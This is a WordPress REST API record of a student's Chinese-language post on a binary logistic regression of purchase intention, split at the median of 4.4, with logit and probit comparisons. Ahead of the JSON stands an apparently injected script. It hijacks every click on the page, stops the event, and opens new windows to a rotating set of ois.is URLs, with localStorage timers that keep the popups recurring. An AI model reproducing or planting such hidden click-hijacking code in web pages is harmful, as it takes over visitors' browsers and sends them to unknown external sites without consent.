<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1430,"date":"2023-12-04T23:30:07","date_gmt":"2023-12-04T15:30:07","guid":{"rendered":"https:\/\/edu.secda.info\/scu11354013\/?p=1430"},"modified":"2023-12-06T01:21:32","modified_gmt":"2023-12-05T17:21:32","slug":"week12-%e5%a4%9a%e8%ae%8a%e9%87%8f%e5%88%86%e6%9e%90","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu11354013\/?p=1430","title":{"rendered":"WEEK12 \u591a\u8b8a\u91cf\u5206\u6790"},"content":{"rendered":"<h4><span style=\"color: #003366;\"><strong>\u6839\u64da\u4e0a\u5468\u7684\u8cc7\u6599\u5206\u6790\uff0c\u5c07\u8cfc\u8cb7\u610f\u9858\u4f9d\u4e2d\u4f4d\u6578\u5206\u70ba\u9ad8\u4f4e\u5169\u7d44\uff0c\u9032\u884c\u4e8c\u5143\u908f\u5409\u65af\u8ff4\u6b78\u5206\u6790\u3002<\/strong><\/span><\/h4>\n<ul>\n<li>\n<h5><strong>\u5c07\u8cfc\u8cb7\u610f\u9858\u4f9d\u4e2d\u4f4d\u6578\u5206\u70ba\u9ad8\u8cfc\u8cb7\u610f\u9858\u548c\u4f4e\u8cfc\u8cb7\u610f\u9858\u5169\u7d44<\/strong><\/h5>\n<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1470\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/12\/1-1-1-300x263.png\" alt=\"\" width=\"300\" height=\"263\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/12\/1-1-1-300x263.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/12\/1-1-1.png 645w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u2192\u4e2d\u4f4d\u6578\u70ba4.4\u3002<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1468\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/12\/1-2-1-300x164.png\" alt=\"\" width=\"300\" height=\"164\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/12\/1-2-1-300x164.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/12\/1-2-1.png 768w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u2192\u8ff4\u6b78\u4fc2\u6578\u70ba0.20877<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1471\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/12\/2-7-300x292.png\" alt=\"\" width=\"300\" height=\"292\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/12\/2-7-300x292.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/12\/2-7-800x778.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/12\/2-7-768x747.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/12\/2-7.png 833w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1473\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/12\/glm-300x168.png\" alt=\"\" width=\"300\" height=\"168\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/12\/glm-300x168.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/12\/glm.png 767w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1474\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/12\/g-300x294.png\" alt=\"\" width=\"300\" height=\"294\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/12\/g-300x294.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/12\/g.png 679w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u2308Logit and Probit\u2309<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1479\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/12\/lp-292x300.png\" alt=\"\" width=\"292\" height=\"300\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/12\/lp-292x300.png 292w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/12\/lp.png 705w\" sizes=\"(max-width: 292px) 100vw, 292px\" \/><\/p>\n<p>\u2192\u4e92\u52d5\u6108\u9ad8\uff0c\u8cfc\u8cb7\u610f\u9858\u6108\u9ad8\u3002<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6839\u64da\u4e0a\u5468\u7684\u8cc7\u6599\u5206\u6790\uff0c\u5c07\u8cfc\u8cb7\u610f\u9858\u4f9d\u4e2d\u4f4d\u6578\u5206\u70ba\u9ad8\u4f4e\u5169\u7d44\uff0c\u9032\u884c\u4e8c\u5143\u908f\u5409\u65af\u8ff4\u6b78\u5206\u6790\u3002 \u5c07<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1430"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1430"}],"version-history":[{"count":4,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1430\/revisions"}],"predecessor-version":[{"id":1481,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1430\/revisions\/1481"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1430"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1430"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1430"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}